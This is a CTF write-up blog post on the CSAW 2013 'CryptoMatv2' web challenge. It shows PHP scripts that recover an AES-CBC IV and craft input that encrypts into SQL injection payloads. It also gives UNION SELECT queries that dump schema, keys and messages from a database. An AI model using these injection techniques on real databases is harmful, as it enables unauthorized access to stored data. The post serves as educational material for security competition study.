Monday, September 23, 2013

CSAW CTF Quals 2013 - CryptoMatv2 (web 400_2)

Another CSAW CTF quals 2013 challenge added Saturday evening (late night for Dragon Sector actually). It was worth 400 points, solved by 41 teams (still 45 minutes of CTF left, so this might be inaccurate), and involved both some crypto and web skills. On behalf of Dragon Sector this task was worked on and solved by valis, keidii, mak and myself (gynvael). Enjoy!

The tasks description was interesting:

Cryptomat is back! You know the drill. Get the key from Dog.

Indeed there was a Cryptomatv1 a year ago, but being familiar with it is not required to solve this task.

When entering the page you are greeted by the following message:

You are not using a secure browser! (Compatible browsers expose the string SECURE in the useragent).

Adding SECURE to your User Agent does the trick, and you get to see a web site for exchanging encrypted messages (see the screenshots below).

In short, you can create encrypted messages and send them (e.g. to yourself), as well as search through them and download them in the encrypted form (you cannot decrypt them via www though).

Let's try searching. How about we search for... query "xxx" with key "xxx" (kudos keidii for trying this out)?

Ups! Looks like a MySQL error. Analyzing it you can imagine the query it's probably something like this:

SELECT * FROM ??? WHERE ??? LIKE "encrypted(query,key)" ORDER BY id ASC LIMIT ?, 10

This means we have to create such a query, that when encrypted with the given key, is a valid SQL injection payload. Since, as the intro page tells us, this is AES 128-bit in CBC mode, in order to generate such a string we need to start by determining the used IV (initialization vector).

It's important to note here, that in AES 128-bit CBC mode the IV is just a 128-bit string which, when encrypting, is xorred with the first 128-bit block of the plaintext, before that is encrypted (this is to prevent two messages with identical first blocks from looking the same when encrypted). Of course, when decrypting this is done in the opposite direction - first the block is decrypted, and then again is xorred with the IV.

So, to determine the IV we just need to:

  1. Encrypt a plaintext (e.g. "AAAAAAAAAAAAAAAA") with a key (e.g. "AAAAAAAAAAAAAAAA") via the web interface.
  2. Download the encrypted message.
  3. Decrypt the message using the known key and a zero IV (i.e. "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0").
  4. And XOR the first block with the plaintext. What you get is the IV they use.
Encrypting the given plaintext with the given key via WWW gives the following (base64-encoded) encrypted message:


Now we can use the following PHP script to get the IV:
$cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc','');

$encrypted_msg = "kdy0oag+ynCMLgeiZN0nog==";
$plaintext = "AAAAAAAAAAAAAAAA";

$iv= "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher, base64_decode($encrypted_msg));

$rec_iv = $decrypted ^ $plaintext;

The output:
So now we have the IV!

Having the IV allows us to create a string, which, after encryption with the given key and IV will result in an SQLI payload. Please note that to generate such a string you just have to start with decrypting (sic!) the payload with the key and IV, since basically encrypt(key, iv, decrypt(key, iv, payload)) == payload. This can be done with the following piece of PHP code:

$cipher = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc','');
$iv = "8k2F2QS480W998Nm";
$key = "xxx";

# Payload.
$exp = "\" or 1=1 or \"\"=\"";

# Padding.
$l = 16 - (strlen($exp) % 16);
$exp .= str_repeat(" ", $l);

mcrypt_generic_init($cipher, $key, $iv);
$decrypted = mdecrypt_generic($cipher,$exp);

# Link for convenience.
print "" . urlencode($decrypted) . "\n";
And the output:
Entering the link shows that the SQLI payload indeed gets executed:

And here we have the aforementioned Dog! Now we just need to get the messages from him, and in order to do that we have to go through the standard way of fetching table names, column names, and their content from the INFORMATION_SCHEMA and the respective tables themselves. Here's a couple of payloads we've used to achieve that:

$exp = "\" and 1=0 union select 1,2,3,4,5,TABLE_NAME,7,8 as id from INFORMATION_SCHEMA.TABLES where table_schema='cryptomat2' and \"x\"!=\"";
$exp = "\" and 1=0 union select 1,2,3,4,5,COLUMN_NAME,7,8 as id from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='message' and \"x\"!=\"";
$exp = "\" and 1=0 union select from_user_id,from_user_id,from_user_id,from_user_id,from_user_id,title,from_user_id,id from message where \"x\"!=\"";
$exp = "\" and 1=0 union select from_user_id,from_user_id,from_user_id,from_user_id,from_user_id,hex(`key`),from_user_id,id from message where \"x\"!=\"";

Here are the dumps from the database:

From Title DL
kasa information_schema 
kasa cryptomat2 
kasa test

From Title DL
kasa message 
kasa user

From Title DL
kasa id 
kasa to_user_id 
kasa from_user_id 
kasa deleted 
kasa open 
kasa title 
kasa key 
kasa text 

From Title DL
Dog Hey there! 
Cat what? 
Cat Coolbeans 
kasa asdf 
kasa ASDF 
kasa a 
kasa a 
kasa fat 

From Title DL
Dog E9F872B26C45C9996D00B435EB591D59 
Dog F7524082F4E9115E7B8CBDC603873A63 
Dog C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E 
Cat 28C34EAD73ECBF1F03A299A35400E745 
Cat F41B9656DF722545F75101B48C5DECDA

From Title DL
Dog AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722 
Dog CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA 
Dog 52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236 
Cat D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD 
Cat A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59
So we have got both the encrypted messages, and the keys (which were stored on the server after all!). Here's a PHP script to decrypt them (they are hex encoded):
function dec($what, $key) {
  global $iv;
  global $cipher;

  mcrypt_generic_init($cipher, hex2bin($key), $iv);
  $decrypted = mdecrypt_generic($cipher, hex2bin($what));

  echo $decrypted;
  echo "\n";

dec("E9F872B26C45C9996D00B435EB591D59", "AB6C6EEC74AA55A53F682696559653F9F09F66D694BE4C7C0FE6D497226C0722");
dec("F7524082F4E9115E7B8CBDC603873A63", "CB87E3FDB9976BD132BFA764603A7F8930CEBBF440C9869120BE46E4B9AE01DA");
dec("C14D827264B3A21442FB3AE0E6358ADAE0240DA0250455E8F1E39E487392CF8E", "52F2605545A3CB2096BEFDDA90D2EF185377B5805D8A41FD9742B7A68EED0236");
dec("28C34EAD73ECBF1F03A299A35400E745", "D10992FE8494F89F962F328B88AF427F4C9B5C0F19642880C3C0CF75651AEFBD");
dec("F41B9656DF722545F75101B48C5DECDA", "A4FA063850899121803B568CD5D63EF160ECAF3782D79D44877208E108B11C59");
And the output:
Dog: !!!!!!!!!!!
Cat: you smell
Cat: lol
And that's about it. Pretty cool task :)

No comments:

Post a Comment